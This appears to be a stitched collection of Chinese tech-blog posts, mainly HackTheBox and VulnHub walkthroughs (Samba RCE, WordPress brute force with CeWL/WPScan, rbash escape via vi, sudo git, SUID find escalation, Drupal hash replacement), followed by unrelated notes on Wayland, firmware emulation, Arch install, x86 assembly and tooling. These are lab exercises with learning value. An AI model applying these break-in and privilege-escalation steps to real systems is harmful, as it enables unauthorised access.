侦察（Recon）#

1
nmap -n -Pn -T4 -O htb

1
smb -L htb -N

User Flag#

使用 OpenVPN 连接 HTB 的话，LHOST 要设置为 tun0：

注意到 User Flag：

Root Flag#

侦察#

1
nmap -A htb

• FTP: 21/TCP, vsftpd 2.3.4
• SSH: 22/TCP, OpenSSH 4.7p1
• OS: Linux
• SMB: 445/TCP, Samba smbd 3.0.20-Debian

注意到 vsftpd 2.3.4 存在后门：

vsftpd 2.3.4 downloaded between 20110630 and 20110703 contains a backdoor which opens a shell on port 6200/tcp.²

Samba 3.0.20 存在 RCE 漏洞：

The MS-RPC functionality in smbd in Samba 3.0.0 through 3.0.25rc3 allows remote attackers to execute arbitrary commands via shell metacharacters involving the (1) SamrChangePassword function, when the “username map script” smb.conf option is enabled, and allows remote authenticated users to execute commands via shell metacharacters involving other MS-RPC functions in the (2) remote printer and (3) file share management.³

User Flag#

1
msfconsole -q

发现 vsftpd 的后门没法利用，试试 Samba 的 RCE：

1
search samba 3.0.20

1
python -c "import pty; pty.spawn('/bin/bash')"

注意到 user flag：

Root Flag#

root flag：

后记#

虽然成功得到了两个 flag，但是最开始的 vsftpd 利用失败了。

1
netstat -ntpl

注意到有很多端口监听 0.0.0.0，但是外部只扫描到 4 个端口：

推测有防火墙，验证：

因此即便触发后门，6200 端口也无法连接。

侦察#

nmap 扫描得知：

• OS: Debian
• Kernel: Linux 3.2 - 4.14
• Web Server: Apache httpd 2.4.10
• CMS: WordPress 4.7.10
• 开放端口：tcp 80, 7744 (SSH)

看样子要先从 Web 服务下手。

flag1#

注意到这个网站使用的是 WordPress（只要你的视力没有问题）：

第一个 flag 就在首页：

1
Flag
2

3
Flag 1:
4

5
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
6

7
More passwords is always better, but sometimes you just can’t win them all.
8

9
Log in as one to see the next flag.
10

11
If you can’t find it, log in as another.

flag2#

注意到 flag1 提到了 cewl，也许你不认识这个单词，因为这不是个单词…（这里的 cewl 双关了 “cool”）

CeWL^kali 是个自定义字典生成工具：

这里明确说普通的字典不好使，所以要我们用 CeWL 制作一个字典来用。

注意到在这个页面上，我们没有找到任何登录入口。

目录扫描得到：

发现了登录界面：

http://dc-2/wp-login.php

使用 WPScan^kali 扫描得到三个有效用户：

接下来制作字典，

1
echo "admin
2
tom
3
jerry" > user.txt

CeWL 可以根据网站内容制作对应的字典²：

1
cewl http://dc-2/ -w password.txt

通过：

1
wpscan --url http://dc-2/ --usernames user.txt --passwords password.txt threads 20

得到：

• tom -> parturient
• jerry -> adipiscing

登录后注意到 flag2：

flag3#

注意到我们可以用 tom - parturient 通过 7744 端口登录到其服务器：

登录 shell 为 rbash，权限受限。且 $PATH 只有 /home/tom/usr/bin。

查看 /home/tom/usr/bin 得知可以使用：

• less
• ls
• scp
• vi

查看 flag3.txt：

1
vi flag3.txt

1
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
2
flag3.txt (END)

flag4#

根据 flag3，我们需要用 su。

配置别名：

1
alias c="printf '\e[H\e[2J\e[3J'"
2
alias l='ls --color'
3
alias ll='ls --color -lh'
4
alias la='ls --color -A'
5
alias lla='ls --color -lhA'

查看其他用户：

1
less /etc/passwd

通过 vi 逃逸 rbash³：

1
vi -c ':set shell=/bin/bash | shell'

flag4 提示我们找 git。

flag5#

切换到 jerry 账号：

1
su - jerry

密码为之前的：adipiscing

通过 git 提权到 root：⁴

1
sudo git branch --help

再通过 less 执行：

1
!/bin/bash

得到最终 flag：

侦察#

端口：

• 22 SSH
• 3000 HTTP

user flag#

注意到 URL：

http://192.168.74.131:3000/api/users

返回：

1
[
2
  {
3
    "_id": "59a7365b98aa325cc03ee51c",
4
    "username": "myP14ceAdm1nAcc0uNT",
5
    "password": "dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af",
6
    "is_admin": true
7
  },
8
  {
9
    "_id": "59a7368398aa325cc03ee51d",
10
    "username": "tom",
11
    "password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
12
    "is_admin": false
13
  },
14
  {
15
    "_id": "59a7368e98aa325cc03ee51e",
16
    "username": "mark",
17
    "password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
18
    "is_admin": false
19
  },
20
  {
21
    "_id": "59aa9781cced6f1d1490fce9",
22
    "username": "rastating",
23
    "password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
24
    "is_admin": false
25
  }
26
]

密码长度 64 字符，猜测为 SHA-256。

通过 cmd5 将 dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af 解密为 manchester，

得到管理员信息：

• 账号：myP14ceAdm1nAcc0uNT
• 密码：manchester

登录后可以下载一个备份文件：

这个文件没有魔数，不像常见的二进制程序。

Unicode 编码下有：

• 大写字母
• 小写字母
• 数字
• /
• +

一眼 Base64，解码：

1
base64 -d myplace.backup > backup

是一个加密的 zip 压缩包。

刚刚的密码不对，尝试破解压缩包密码：

密码为 magicword，解压后进入备份目录。

在 app.js 中找到关键信息：

• 用户名：mark
• 密码：5AYRft73VtFpc84k

root flag#

连接 ssh 后注意到 mark 不在 sudoers。

查看机器版本后找到对应 LPE（本地权限提升）漏洞：

使用 scp 将 exp 复制到 /tmp 下：

提权：

进入 /root：

flag 1#

第一个 flag 让我们去找 Drupal 的配置文件：

flag 2#

注意到 /var/www/sites/default 下的 settings.php：

我们可以得到 Drupal 数据库的一个用户名和密码。

flag 3#

进入数据库后，注意到 flag3：

但是乍一看好像没给任何信息？

注意到这个 flag3 对应的 uid 为 1，在 users 表中确认到：

• username: admin
• uid: 1
• 对应的密码哈希 $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

尝试注册一个新用户再通过 SQL 替换密码哈希，结果注册用户要求管理员通过且注册时不能填写密码。所以得找找其他办法。

注意到这个计算密码哈希的脚本：

1
www-data@DC-1:/var/www/scripts$ ls password-hash.sh
2
password-hash.sh
3
www-data@DC-1:/var/www/scripts$

执行后提示我们：

1
To run this script without the --root argument invoke it from the root directory
2
of your Drupal installation as
3

4
  ./scripts/password-hash.sh

按照指示运行：

1
www-data@DC-1:/var/www$ ./scripts/password-hash.sh 123
2

3
password: 123           hash: $S$DhnR5dwKRomrHLQBklwV4Xb/JjiQIy2NUKwZqhOw5gbQp692NFDn
4

5
www-data@DC-1:/var/www$

得到 123 的哈希 $S$DhnR5dwKRomrHLQBklwV4Xb/JjiQIy2NUKwZqhOw5gbQp692NFDn

替换 admin 密码：

登录后成功在文章列表中找到 flag3：

flag 4#

根据 flag3 的内容：

Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.

这里有个双关：shadow 既指“阴影”，又指 /etc/shadow，同时指引我们使用 -exec 选项。

Q：但是什么命令有 -exec 选项呢？

A：注意到我们常用的命令中，find 带有 -exec 选项。

find -exec 确实可以用于执行其他程序，但是通常情况 find 的权限是 755：

检查 DC-1 的 find：

天哪竟然是 SUID，看来是作者故意改的，说明就该用这个。

先看看 /etc/shadow：

发现了 flag4 用户及其家目录，于是：

flag 5#

flag4 的内容明示我们找 /root，众所周知普通用户无权进入 /root，作者也没给后门，所以…

通过 SUID 的 find 提权到 root：²

Chromium / Electron#

1
--ozone-platform-hint=auto --enable-wayland-ime

你也可以用 --ozone-platform=wayland 强制指定 Wayland。

其中 --ozone-platform-hint 是 Chromium 系特有的 Flag，可以用于切换到 Wayland 后端。

如果不行可以追加这个参数

1
--wayland-text-input-version=3

如果使用终端启动遇到一些带 GPU 字眼的 ERROR，可以追加这个参数禁用 GPU 加速

1
--disable-gpu-compositing

或者你发现使用上面的 wayland 参数启动后启动变慢，也可以加上试试，因为这些 ERROR 会增加启动时间。

拿 linuxqq^aur 举例，

添加参数：

默认情况下发送到桌面的 .desktop 来自软件包，位于 /usr/share/applications。

编辑后的 .desktop 位于 ~/.local/share/applications 下，所以你需要重新发送到桌面。

1
Exec=linuxqq --ozone-platform=wayland --enable-wayland-ime %U

其他支持 Wayland 后端的应用#

普通 X11 应用#

以 WPS 为例：

在 KDE 菜单编辑器中为所有 WPS 菜单项添加环境变量：

QT_IM_MODULE=fcitx

这会在 ~/.local/share/applications 重新生成新的 .desktop 文件（同时不会影响其他软件）。

已经发送到桌面的需要重新发送一次，否则使用的还是 /usr/share/applications 的 .desktop。

由于 ~/.local/share/applications 的搜索优先级高于 /usr/share/applications，通过 XDG 关联的文件直接打开也应当能工作。

unblob#

unblob 是更现代的固件提取工具。

安装：³

1
sudo apt install unblob

安装其依赖的外部提取工具：³

1
sudo apt install android-sdk-libsparse-utils e2fsprogs p7zip-full\
2
 unar zlib1g-dev liblzo2-dev lzop lziprecover libhyperscan-dev zstd lz4 sasquatch

使用该命令验证所有依赖是否满足：³

1
unblob --show-external-dependencies

提取固件：³

1
unblob <xxx.bin>

binwalk#

binwalk^kali (binwalk2) 或 binwalk3^kali

查看：

1
binwalk3 xxx.bin

提取：

1
binwalk3 -Me xxx.bin

得到 squashfs

用户态仿真#

由于路由器往往使用 MIPS 或 ARM 架构，直接 chroot 会出现问题。

安装 qemu-user 包后可以直接 chroot

1
sudo apt install qemu-user

1
sudo chroot ./ ./bin/sh

全系统仿真#

全系统仿真无需手动挂载文件系统。

1
sudo apt install busybox-static

1
git clone --recursive https://github.com/pr0v3rbs/FirmAE.git
2
cd FirmAE
3
sudo ./download.sh

1
sudo ./install.sh

1
# 安装
2
从 Debian 仓库拉取 deb 包后手动安装
3

4
# 验证
5
apt list --installed | grep uml

1
sudo ./init.sh

1
sudo ./run.sh -c <名字> <固件文件>
2
# 检查过程中日志在 ./scratch/1 下，模拟仿真性能损耗大，时间会比较长

1
sudo ./run.sh -r <名字> <固件文件>

1
lsblk
2
sudo umount <挂载点>
3
sudo losetup -d <设备>

NVRAM#

Web 服务通常会读写 /proc/nvram 或 /dev/nvram，如果没有挂载或对应文件不存在，会导致无法正常启动 Web 服务。

1
mount -t proc proc /proc
2
mount -t ramfs ramfs /var
3
/etc/init.d/S19init.sh
4
/etc/init.d/S20init.sh

FirmAE 会替我们处理好 NVRAM，但是用户态仿真需要手动处理。

• libnvram
• nvram-faker

其他常见方式：

• touch /proc/nvram

Web Server#

• uhttpd OpenWRT 的默认 Web Server 文档 仓库
• thttpd 仓库
• jhttpd 仓库

逆向工程#

内存映射

F5 反汇编

使用 IDA 打开后会生成如下文件：

• .id0 主数据库文件
• .id1 数据库文件
• .id2 数据库文件
• .nam 命名列表
• .til 类型信息库

导入后左侧的 sub_xxx 函数是因为 IDA 没有识别到原来的名字

所有紫色背景的函数均为 .extern 动态链接的。

加粗代表该函数有函数原型，例如标准库的 sprintf, snprintf

按下 X 查看所有 Xref (Cross Reference 交叉引用)：

• Xrefs To -> 谁引用了我
• Xrefs From -> 我引用了谁

启用中键滚动#

1
--enable-blink-features=MiddleClickAutoscroll --test-type

1
--test-type

禁用中键粘贴#

1. 禁用内存完整性#

在“Windows 安全中心” -> “设备安全性” -> “内核隔离”中禁用“内存完整性”（需要重启生效，等会一并重启即可）

2. 禁用 Credential Guard#

两种方式二选一，如果你的系统支持组策略，建议优先通过组策略修改。

1
密钥路径： HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
2
密钥名称： LsaCfgFlags
3
类型： REG_DWORD
4
值： 0

1
密钥路径： HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard
2
密钥名称： LsaCfgFlags
3
类型： REG_DWORD
4
值： 0

3. bcdedit 显式关闭#

打开管理员 Powershell 或 cmd，执行：

1
bcdedit /set hypervisorlaunchtype off

4. 启用 CPU 的硬件虚拟化支持#

在 BIOS/UEFI 菜单中，启用对应的 CPU 虚拟化支持

• AMD: AMD-V
• Intel: VT-x

重启计算机

网络#

Arch Linux 的安装需要网络，所以安装的第一步是联网。

如果你使用虚拟机，也许不需要任何配置，检查：

1
ip a

1
rfkill list

1
rfkill unblock <无线网卡编号>

1
iwctl

1
device list

分区#

加密#

内核 (Kernel)#

当然你也可以自己编译内核（

1
pacman -S linux

1
pacman -S linux-lts

Boot Loader#

本文假定你是 UEFI 引导方式。

1
pacman -S grub efibootmgr

1
grub-install --bootloader-id GRUB --target x86_64-efi --efi-directory /boot/efi

1
pacman -S os-prober

1
grub-mkconfig -o /boot/grub/grub.cfg

Display Manager / Login Manager#

驱动程序#

桌面环境 (Desktop Environment)#

dotfiles#

个人推荐使用 chezmoi 管理 dotfiles：

类别#

x86 汇编语法通常有两种：

• AT&T
• Intel

我们的 CPU 只关心机器码，但是不同的汇编器仅支持特定的语法（类似 Assembler 和 Compiler 的关系）。

常见的三种汇编器：

• GNU Assembler (GAS) as -> AT&T 语法
  • scoop: gcc
• Netwide Assembler (NASM) -> Intel 语法
  • scoop: nasm
• Microsoft Macro Assembler (MASM) -> Intel 语法

语法不能够混用，例如使用 NASM 去汇编一个 AT&T 语法的汇编文件会遇到诸如“error: instruction expected”的报错。

特点#

• 换行严格（毕竟没有分号之类的东西），一行就是一条语句
• 空格、缩进宽松。有没有都可以；用哪个都可以

指令#

x86 汇编基础的助记符有几十个。

在 AT&T 中，助记符的后缀：

• q 代表 64 位，如 movq
• l 代表 32 位，如 movl

具体如下：

AT&T 中，指令的操作数顺序：OP src, dest

例如：movl $0, %eax 将 0 放入 eax 寄存器

其中，$0 和 %eax 分别为这条指令的两个操作数。

操作数又可以分为：

• 直接操作数

  • 立即数

  如 $0

  • 寄存器操作数

  如 %eax

• 间接操作数

如 (%rbx)

伪指令#

默认情况下，伪指令不区分大小写。⁴⁴⁵

通用目的寄存器#

General-Purpose Registers (GPRs)

• rax

• rbx

• rbp -> 基址指针 (Base Pointer)

• rsp -> 栈指针 (Stack Pointer)

• rdi -> (Destination Index)

其他寄存器#

• rip -> 指令指针 (Instruction Pointer)，即程序计数器 PC

代码段#

在 AT&T 中代码段为 .text，在 Intel 风格中为 .code。

只读数据段#

.rodata，最常见的用途为字符串常量存储。

未初始化数据段#

通常用 .bss 表示。

返回值#

• 整数、指针 -> %rax

参数#

⁶²⁶

• 第一个参数 -> %rdi
• 第二个参数 -> %rsi
• 第三个参数 -> %rdx
• 第四个参数 -> %rcx
• 第五个参数 -> %r8
• 第六个参数 -> %r9

系统调用#

系统调用是内核提供的接口，我们可以通过汇编直接调用系统调用而不经过任何高级封装。

在 x86 下，系统调用由 0x80 中断完成，各个通用寄存器用于传递参数，EAX 寄存器用于表示系统调用的接口号。⁷³⁸⁵

现代的 x64 架构提供了专门的系统调用指令，分别用于从用户态到内核态、从内核态返回用户态，以下是支持情况：

以 Linux 7.1 为例，系统调用号写在 arch/x86/entry/syscalls/syscall_64.tbl 中，具体的函数原型在各自的内核源码中。

编写汇编时要查看系统调用的参数等信息，可以查阅该网站。

目前有五百多个，这里列出几个常见的：

调用一个系统调用：

1
    movq    $系统调用号, %rax
2
    movq    $第一个参数, %rdi
3
    movq    $第二个参数, %rsi
4
    ...
5
    syscall

Hello World#

1
    .section    .rodata
2
.LC0:
3
    .ascii    "Hello World!\n"
4
len = . - .LC0
5
    .text
6
    .globl    _start
7
_start:
8
    movq    $1, %rax # write
9
    movq    $1, %rdi # 文件描述符 fd
10
    leaq    .LC0(%rip), %rsi # buffer
11
    movq    $len, %rdx # count
12
    syscall
13

14
    movq    $60, %rax # exit
15
    movq    $0, %rdi # exit code
16
    syscall

十六进制#

对于程序：

1
    .globl _start
2
_start:
3
    movl    $60, %eax
4
    movl    $0, %edi
5
    syscall

编译后要查看其十六进制形式，有如下工具：

• xxd -> vim 包提供
• hexdump -> util-linux 包提供
• od -> Unix，coreutils 包提供
• hexyl -> 现代工具，需要从 ArchLinux 官方仓库安装

汇编#

要查看其汇编码，需要进行反汇编。

1
test：     文件格式 elf64-x86-64
2

3

4
Disassembly of section .text:
5

6
0000000000401000 <_start>:
7
  401000:  b8 3c 00 00 00         mov    $0x3c,%eax
8
  401005:  bf 00 00 00 00         mov    $0x0,%edi
9
  40100a:  0f 05                  syscall

pacman.log#

于是我去检查了 /var/log/pacman.log，综合上面的 stat .sys1og.conf 得到如下信息：

微信安装时间

[某一天T22:09:58+0800] [ALPM] installed wechat-bin (4.1.1.4-1)

该文件创建时间

创建时间：同一天 22:10:53.516000051 +0800

中间间隔约一分钟

复现#

cat -A .sys1og.conf 得知该文件没什么用，并且从创建之后都没有被修改过，索性删除。打开微信，文件重新被创建，得以验证。

微信应该是启动时检查该文件是否存在，不存在就创建，存在就跳过。

得知 AUR 的 wechat-bin 版本 4.1.1.4-1 至 4.1.1.7-1 均会在每次重新启动微信进程时检查该文件。

Plasma Login Manager#

在 /var/lib/plasmalogin/.config/kdedefaults/kcminputrc 中添加：

1
[Keyboard]
2
NumLock=0

重启系统。

Linux#

1
patch:
2
  menu:
3
    # 候选词数量
4
    page_size: 9
5

6
  ascii_composer:
7
    switch_key:
8
      # 禁用左 Shift
9
      Shift_L: noop
10
      # 不是 Ctrl
11
      Control_L: commit_code
12

13
  switcher:
14
    # 禁用所有菜单按键
15
      hotkeys: []

1
ibus restart

1
patch:
2
  __include: rime_ice_suggestion:/
3
  menu:
4
    page_size: 9 # 设置候选词数量
5

6
  ascii_composer:
7
    switch_key:
8
      Shift_L: noop # 禁用左 Shift
9
      Control_L: commit_code # 使用左 Control 切换
10

11
  switcher:
12
    hotkeys: [] # 关闭 Rime 菜单快捷键

禁用 Game DVR#

• 键：HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\GameDVR
• 值：AppCaptureEnabled
• 类型：REG_DWORD
• 数据：0

• 键：HKCU\System\GameConfigStore
• 值：GameDVR_Enabled
• 类型: REG_DWORD
• 数据：0

1
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\GameDVR /f /t REG_DWORD /v AppCaptureEnabled /d 0
2
reg add HKCU\System\GameConfigStore /f /t REG_DWORD /v GameDVR_Enabled /d 0

生成 compile_commands.json#

1
add_rules("plugin.compile_commands.autoupdate", {outputdir = "[输出路径]"})

1
xmake project -k compile_commands [输出路径]

指定 compile_commands.json#

clangd 似乎默认只读取根目录下的 compile_commands.json

需要在 .clangd 中添加：

1
CompileFlags:
2
  CompilationDatabase: [compile_commands.json 目录]

也可以在 VSCode settings.json 中指定

1
"clangd.arguments": [
2
    "--compile-commands-dir=[指定你的路径]"
3
]

上传 kitty 的 terminfo 到服务器 (推荐)#

1
kitty +kitten ssh <user>@<host>

本地终端降级 TERM#

1
export TERM=xterm-256color

1
set -gx TERM xterm-256color

安装 kitty#

在服务器中安装 kitty 即可

• Arch 系

1
sudo pacman -S kitty

• Debian 系

1
sudo apt install kitty